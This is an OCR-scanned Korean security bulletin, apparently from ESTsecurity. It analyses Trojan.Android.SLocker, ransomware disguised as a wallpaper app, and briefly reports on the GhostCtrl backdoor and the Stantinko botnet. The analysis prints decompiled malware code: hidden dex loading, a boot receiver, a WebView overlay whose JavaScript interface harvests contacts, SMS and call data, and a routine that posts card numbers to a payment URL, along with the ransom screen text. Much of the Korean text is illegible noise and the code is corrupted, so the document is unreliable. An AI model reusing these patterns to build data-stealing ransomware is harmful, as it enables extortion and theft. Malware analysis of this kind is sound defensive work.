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[Trojan.Android.SLocker]

qdIiL 4 BN

1.702

Kt 7 838 Google Play Store Of] HigietH O|0|X[E MiEst= UC=Z Ao 2HH BE 7IsE +Aok= 2FE™0]
HZE E|T, 9F 5,000 2I0ilA 10,000 2] Af0] 7122 CH2ZE7} O OAICL,

2FSA0| A=A Cryet HigeH O|0|XIE MESsHr= FeUs Ho0ELL. okX[2t 77| MEE Al =1H &g delE
elSk= 2|AIH7E2RH0| LT, OIEXNA| 71710] M AR R AR S2| REE AM=E MHlok= 7=

50 8 =2 0.05 HIEZ 0] slidl= 58S XI=0l== Rol= =tEs H=2MH.
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2. T &

SM =4

= 24 A2 Google Play 0iM S=I0{ 5,000 20IA 10, OOO §l

Wallpaper YN =+

<uses-permission android:name

“usses-permission android:name=

<usss-permission android:name=

<uses—-permission android:names

<uses-permission android:name="android.

“uses-permission android:name

<uses-permission android:nams

<usss-permission android:name=

<usss-permission android:nams=

<uses—-permission android:name="android.
<uses-permission android:name="android.

<uses-permission android:nams=

<usss-permission android:name=

<usss-permission android:nams

<uses—-permission android:name="android.
<uses-permission android:name="android.

<uses-permission android:name

“usses-permission android:name=

<uses-permission android:name

<uses—-permission android:names

<uses—-permission android:name="android.

“uses-permission android:name=

<uses-permission android:nams=

<usses-permission android:name

<usss-permission android:nams=

<uses—-permission android:name="android.
<uses-permission android:name="android.

<uses-permission android:nams=

<usses-permission android:name

<uses-permission android:name

of1l Ot 18 1 1f 20| Yol =&

android.
android.
android.
android.

android.
android.
android.
android.

android.
android.
android.

android.
android
android.
android.

android.
android
android.
android.

android
android.
android.

permission.
permission.
.WRITE EXTERNAL STORAGE" f=

permission

permission.
permission.
permission.
.READ CONTACTS" />

permission

permission.
permission.
.BCCESS WIFI_STATE" />

permission

permission.
permission.
.READ PHONE STARTE" iz
.READ umLL@”'f>

permission
permission

permission.
permission.
.ACCESS_NETWORE_STATE" /3>

permission

.permission.
permission.
ACCESS _COARSE LOCATICN" /=

permission

permission.
permission.
.permission.ACCESS WIFI STATE" />
permission.
permission.
permission.
-READ |

permission

.permission.
permission.
permission.

INTERNET" /=
READ EXTERNAL STORAGE"™ />

SET WALLEFAPER" />
REQUEST WRITE STORARGE"™ />
WARE LOCE"™ /f>

INTEENET" />
ACCESS NETWORE STATE" />

CHANGE WIFI_STATE" />
GET ACCOUNTS"™ />

RECEIVE_BOOT_COMPLETED" />

INTERNET" /=

READ EXTERNAL STORAGE™ />
WRITE EXTERNAL STORAGE" />

ACCESS_FINE_LOCATICN" />
READ CONTACTS™ />

CHANGE WIFI STATE" />

GET ACCOUNTS" />

READ PHONE STATE"™ />
hLLL@”'f>
RECEIVE BOOT COMPLETED" />
READ SMs"™ />

SYSTEM ALERT WINDOW"™ />

?gC)g

<uses-permission android:name="com.android.browser.permission.READ HISTORY BOOEMARES" />

- HESRIF Ak S (INTERNET)

- QI RfEA 97|

| 25t (READ_EXTERNAL STORAGE)

- 2 XEA M7| #SHWRITE_EXTERNAL_STORAGE)

— HHZASIH H|0] 2SH(SET_WALLPAPER)
- A S5 AM|IA HSHGET_ACCOUNTS)

- Wi-Fi HIEQIT HEf HE AMIA HEH(ACCESS_WIFIL_STATE)
- Wi-Fi HIEQIT AEf HZ e (CHANGE_WIFI_STATE)

- GPS 2 St (ACCESS_FINE_LOCATION)

- GPS 22 5t (ACCESS_COARSE_LOCATION)
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-SMS $47| &5t (READ_SMS)

- M 3 HsHWAKE_LOCK)

— 4 ! 3 HBH(SYSTEM_ALERT_WINDOW)

- 2 MEj HE 97| A4St (READ_PHONE_STATE)

- 28 AT A, HESIHAES Hig £ QA of= 2t (RECEIVE_BOOT_COMPLETED)
- L

IERT HEH e AMIA PBHACCESS_NETWORK_STATE)

E TFEE= SplashActivity O|H, 0= Of2f J2 2 X3 HILIHAES £3510]

L 1z

e o
4> 0z
(@]

0%

15

10

b

Pt

2

|m

'}

Hq

ro

Jor [
0 U
n

<activity android:label="@string/app name" android:name="com.forcemellostudio.blurwallpaperfree.Splashictivicy™
<intent-filter>

<action android:name="android.intent.action.MAIN" />
<action android:name="com.forcemellostudio.blurwallpaperfree.intent.SplashScreenfctivity.VIEW" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<factivity>

(O3 2] HILUHAE IERZQIE SHA 2[X)

g

AIFEH, Of2f 13 3 12t 20| LEQI HiZelH HAS fIgt Wallpaper HEE MSok= Y2

N R IERY
7S BHOIZ 4 Ur,

A= XS

Jot

=4

Wallpapers Blur HD
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SIX|ZE LHEOlAM= Of2 112! 4,59 242 SEOZ x(d.Ld EHAZE 251 El=0| 0] SHAZ 2510 LR
dex £ DexClassLoader 2 HZ2|A0]| S2]=

HIO
[l = .
=4 ol= AEM= ol dex & TRREE = lPIE SIX| 20t 2 Xt dex O] Tt 242 =715 SIALL

[ SplashActivity ]
v

MainActivity 1

onCreate() J

launchSmUpdates() }

initStatisticsManager() J

u Process.start(x.ld.Ld) W

(2 4]2 X} dex A 215 x|dLd 22HA Process A S2

private boolean setDex() {

String w0 = "";
Iterator v3 = this.jars.iterator();
while (v3.hasNext ()) {

w0 = w0 + w3.next() .getPath() + File.pathSsparater;

this.dexClassLoadsr = new DexClassLoader (v0, this.cachePath, null, this.classLoadsr);
return 1;

[ 5] 2 &} DexClassLoader Z=

ISt 0] Op 2 7|77t ST 1 KISOR 2|AYt SABIES HILIHIASN A5t 212 OfY 1 6 oA
solst 4 QUrt

<receiver android:name="com.forcemellostudio.blurwallpaperfree.receiver.BoorReceiver"s>
<intent-filter>
<action android:name="android.intent.action.BOOT CCMPLETED"™ />
<action android:name="android.intent.action.QUICEBCCT POWERON" />
<action android:nams="MD TACE EVENT INTENT" />
</fintent-filter>
</receliver>

(72! 6] HUMAE (28 25 Al XIS AUS I3 2AH 27F)

y
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AdActivity OllM= WebView & 018510 CkZ1t 20| Assets EC0f| EXldk= indexhtml & EIRE=S oh=0| oiig

AATEE Of2Y 17 72} 2L,

private woid initWebView() |
int vl = -1;
L.ssetLogEnakled({true) ;
this. roctVier = this.getLayoutInflater().inflate (2130903074, null);
this.webVier = this.rootView.findViewById(2131492995) ;
this.wsbViev.setVisibility (0);
this.webViewv.ssetVerticalScrollBarEnakled (true) ;
int v3 = BuildSVERSICN.SDE INT < 19 ? 2003 : 2005;
WitdawMatager$Iaya::?aramé_v0 = new WindowManager$LayoutParams(vl, +l1, v3, 262144, -3);
this.webVier.get3ettings () .setJavaScriptEnabled (true) ;
this.wsbViser.setFilterTouchesWhenCbhbscured (false) ;
this.webVierv.addJavascriptInterface (this, "JPU");
this.wsbVisr.setWebChromeClient (new WebhChromeClient () {
public void onConsoleMessage (String message, int lineNumber, String sourceID) {
super.onConscleMessage (message, lineNumber, sourceID);
Zdhctivity.this.log ("CONSOLE: " + message);

public beoolean onConscleMessage (ConsoleMessage consoleMessage) |
Zdictivity.thi=.log ("CONSOLE: " + consoleMessage.message());
return super.onConsoleMessage (consoleMessage) ;

by
this.wsbVisr.setWebViewClient (new WebViewllient () |
public void onPageFinished (WebhView view, String url) |

}

public boolean shouldOverrideUrlLoading (WebView wiew, String url) |
return 0;

by
this.wm.addView(this.rootView, ((ViewGroupSLayoutParams)w0));
this.WebView.andUrl{"file:fffandrcid_assetfindex.html"];

[22! 71WebView £ 0125t Ransomware H|0[X| 3}H 22 =

file:// /android_asset/index.html Off ZZSt=l LIS Of2f 117 8 1t 22 PROCCEED € +2H CLH31t 20| 742!
C|O|E{0]| CHSt k20| LIQEZE SHH PAY HES L2 72 AlZH Q| HEZ QIS X|E5I2k= HIA XIS &RIst 4=
QULCY,
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Identity and Privacy

LEAK

All personal data from your smartphone
has been trasfered to our secure cloud.

Identity and Privacy

LEAK

To delete all your leaked data you have to
pay 0.05 BTC to Bitcoin address:

Name Surname

It contains:

Identity and Privacy

LEAK

| - Personal photos ()
- Contact numbers ()

- Sent and received SMS () PERSONAL DATA

- Phone calls history ()
& CONTACTS:

- Facebook messages
and more

- Chrome visits history
- Full email texts

. * and more
- GPS location history

this data will b

from your telephone and email ool

In less then
Cardrumber:

To abort this action you have to pay a modest RANSOM of and more

Date MM/YY:

PaY

@ BROWSING HISTORY:

ded all your data will be permanetly removed from

[02! g/ HIETRIS X=dt2k= HIAXIS| html 7 St

i Q1S W,

QTE 3f71l =Lt Ofell I8 9=

ESTsecurity

212 WebView 0f|A] JavaScript & 2t&010 2 ULUE 2o, ARZSAIR| JHRIHEE
QIEZ0]=29] Javascriptinterface & 02510 WebView 4 P01|)\'|‘—2I JavaScript 2
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@JavascriptInterface public String getData(String type) {
String v0;
function jpuGetDevice() { if (type.equalsIgnoreCase ("device")) {
return JPU.getData('device'): vD = U.getBrand();

} }

else if(type.equalsIgnoreCase ("accounts")) {

function jpuGetAccounts() { v0 = this.getAcoounts();
return JPU.getData('accounts'); }
} else if (type.equalsIgnoreCase("contacts™)) {
v0 = this.getContacts();
function jpuGetContactsCount() { }
return JPU.getData('contacts else if(type.equalsIgnoreCase ("sms")) {
} v0 = this.getSMSCount();
}
function jpuGetSMSCount() else if(type.equalsIgnoreCase ("lastCall")) {
return JPU.getData('sms'); v0 = this.getLastCall();

} }
else if(type.equalsIgnoreCase ("lastsMs")) {

function 3puGe:LastCallIlme() { v0 = this.getLastsSMS();
return JPU.getData('lastC }
} else if (type.equalsIgnoreCase ("endTime"))
v0 = String.valueCf (this.endTime);
function jpuGetLastSMSTime() { }

return JPU.getData('la

else if(type.equalsIgnoreCase ("payment")) {
} v0 = this.getPayment();
}

else |
if(!type.equalsIgnoreCase ("picture")) ({

function jpuGetEndTime () {
return JPU.getData('endTime')

} if (type.equalsIgnoreCase ("lastSMSContact")) |
return this.getLastSMSContact ();
function jpuGetPaymentId() { }
Y maument ') .
) retarn JPU.getData('payment’); else if(type.equalsIgnoreCase ("lastCallContact")) {

return this.getLastCallContact();

}
}

v0 = "ERROR GETTING DATA";
}

return vO0;

}

[O& 9lJavasariptinterface £ 0188t WebView &2| 24349 F=

SIS ZHAQIOZ QISH AFRXIZ| AR F1E HSE Q25| PAY £ S2I61H| M, sHE URLZ HES MA5HA| =t
Of2ff 17 102 &2 M7= HEE i URL 2 T&5hk= Z=0|CL

JSCNCbhject vl = new JSONChisct();

vl.put ("sid", AdRhctivity.this.sid);

if (this.valScardNumbsr != null) {
vl.put{"c", this.valSfcardNumber);

JS0NChbject w3 = Http.httpPostJson(this.valfpaymentUrl, vl);
L.logInfo("AD ACTIVITY", "Check payment result: " + wv3.toString());
boolean v4 = w3.getBoolean("result");

if((v4) && this.valScardNumbsr != null) {

AdActivity.this.broadcastlardInfo();

String v2 = w4 ? "our personal data has been deleted from our servers and your privacy is secured."”
: "No payment has been made yet. Your privacy is in danger";
AdActivity.this.runOnUiThread (new Runnable () {
public wvoid run() {
this.thisfl.thisf0.makeToast (this.valfmsg, this.valfrssulg);

[T2) 10] A27 1= HEZ URL Of B&sl= F=
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‘Trojan.Android.SLocker’

b2 ZA ARH0IM 2 Xt Dex 7t 22 EEIX] UXIE SSHOZ LRECTt
0|20KS A MH 9= =

k=]
of Z7PHO! WS LAE! 7HSA0] EXYBICH

QOB T2 Z0jot 22 HA| QIER0|S DR0) FAUOR YT PSS FTIKOR RES IS 40|
=70l Zop} Zesic

0fgt 52 % Sk | oMz LEE 4= U= AEZ0|E Hitls X0l Zit HHOZ YH0IE H F7[He=

B ob= H2F S 7PM0F oI}, It AR, G Silt 22 M=s2 371822 TE 2 DX Y= ot
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1. 30A

=20 U021 GhostCtrl, ARSXIS AL B2 AAH EF| TSl

Android Backdoor GhostCtrl can spy on victims and take over Windows Systems

GhostCtrl #&=01= RETADUP QIEAEIHE AFEoH AIBAIES Aok, HO[EE EXIH H= AARSE EFE
2= U= OmniRAT 7[2He| QHEZ0[= HU|OICY,

OmniRAT &2 &2 E(RAT) XAl 20| OFLICE IT 22XIE0| QIERO|E, =R, 2lsA, M
X[#HE MESE = U= 5= S0|Ch. SHX|TH 0= HEXIS0| ABKIL] A|AR0| EE%* U=
Trend Micro 2| SHIEE2 OmniRat 2| HE= L6 GhostCirl 0[2F BEIHCH, 0= Of2f2| YL

ARSIl 24
£2 £0]7| 5iCt,

M1 EA012

O

FE

0E

ZXEQ] MEO| DY H=E/HRZE

EX H3(Q2 M5 S5)Z SMS HAIX| ELi7|

o EARMAM HOH Mis

TSt Of2He} 22 S B 4 ULk

o AAEHeRE ST MO

o HAE-ZM W3 |5 AR(SXIE S4/2L|22 BB
o« DR} RPES AR HAAS AH|/2A

* 7PPIHOHE ARE 20E Mo &

Hﬂ

s=t 32 M=t 37|

+ L2 7PI2 50 2P| S SREAS AISE

O] M22 7[SSS 288 22Xl YWHS Wil Aol= SZAS0| BE A017] Wiz, 0 20l= =6

E = =
SEARL = 4= QUL GhostCirl 2 AH=Z0|= 717|0f| 2 =ete|X| 2H=C
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4 Q] Hot S5t
ANEZES offd ofH Lot ARE(M| HZe = UK, B2 SAXNS2 G2 E Z£11 ULt GhostCirl 2 =2
O|AZIUO| EHRIO| YT A|ARIOZHE MHE SX| 7402 HI5{XI RETADUP 1t 87| HiZZ=ICt,
OEA &g =R
GhostCtrl 2 =, = 11 MMS S HA| OIEZ0[E MO = QIS OIE=Z0|E APK 2M HiZE =IOt O] K|
Aets oh= APK 7t &1 |, 2|aA M2 HE] HIAES =53l I THE APKZM ZAIES &£ = 0] 244
APK £ Aol AFZXI0H|A| O|Z AX[olEk= HIAXIZ BASICL O|2M ARZAR L O MAUS HX[SHIX} Sh=X], OfH

20| LOJLE=X] M == QUL 2 ATEQ 07 =, ZHK| Hets Sh= APK = 0I1E 0t0|20| 20JX| 2=
AMH|A HE= Aetiof] E07 -T2 MM 22s| SEGH=S BlCt.
@ ------- ‘
]
DEX .
et ki el
kS :
(d D;°pf [ classes dex.dat -
m[_ts oo G ek B . m;
= 2 i 2
Wrapper APK Packed/Malicious () dp.x86_64.50.dat Malicious
APK APK
Assets &
M : Decrypt string/API
@ 1 in the malicious APK
_______ 7
ELF
(decrypt function)
0] 2td GIZ2IAH0 10| B 122 =0fM 2l &H, 0= TS0l O eSS K| Z2FHol| %H 2IEH9| C&C
AMeof] HZetCt, 4 = BRI A SR SH0|| M2t GhostCirl 2 0180l Tl ofd disS Al
UL TF A E 717171 72| of JHQI0] AE SO0[2HH, HEHE EX[otAL RE SMS HAXKIE 2 Z10]Ct,
X2, GhostCtrl O] RETADUP 1t 2//H| 5ol | THE0H, SHASE2 O B2 == 7] flofl 2=20|= 7[Hte] 4

A2 S 7I0i0] Y= BHHOR MRS A IS oIt

GhostCtrl RAT 2| B2 0[0] 3707+ 2 =IO, B O M=2 7[S530] 7t =T, 0IF Olget 20|
JEHY E2, A= S AEHC= YH|0|E g AO|Ct ot 0] W2 +12 S0 AE00f 272 32t S5
EIQXT OREEE Qs ACZ 210 SHXZEAPK £ 2IR0M TRZEE g AL Zalol0FeiTt.

[&X hitp:/ /securityaffairs.co/wordpress/61112/malware/ghostcrl-omnirat-based-spreading html
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Stantinko 4, 5 'H SOt BIX| E|X| 90, A|AH] 50 THH ZIHA|7
Stantinko botnet was undetected for at least 5 years while infecting half a million systems

HO SIA[Rl ESET o] H7L2I=0] Stantinko 2F HHE = 7St £24l0] £|4 54 SHAPHEX| 2 AE
HZASICT. HATLHUEN TEH, Stantinko 2512 M MIA| 2F 50 TICHO) 5’.:1%512 ZSAZILL.

0| 2H9| RFXIS2 oM ADEQNE Fi= 2A012t RTEI0|LE ARBKIES EHICE K|t 2012 AR E iR
OHERIO] AmQIS HHRULE HTAHS2 AO|H HEXIS0| AESH 34 HIEl= SPAFC| AFE0f CIFst

T2 S MRk, Y12 RE0A = Stantinko S A3H6H= FileTour 2H= T2 730 |2t B4SiCt,

A4 (Installation of a malware from the FileTour family): https://www.youtube.com/watch?v=0YncoW7X5wA

TS ‘B2 TIC OIEE} 7|52 MBS O] HO[ZA DR TO| EX|S W5| U3t 7SS MM
TQIBIOZM, Stantinko O SHXISS ZiA 5 LIS ZNUS TEHLICE T L
0] BUIS X2 BT QY W 22 ADIS SIH T B AL HASK S T2 TS MACE

Stantinko 2T E7} MX[GHO0| oA HEtRX EFE T2 12 “The Safe Surfing” 2} “Teddy Protection” OICt. O] &
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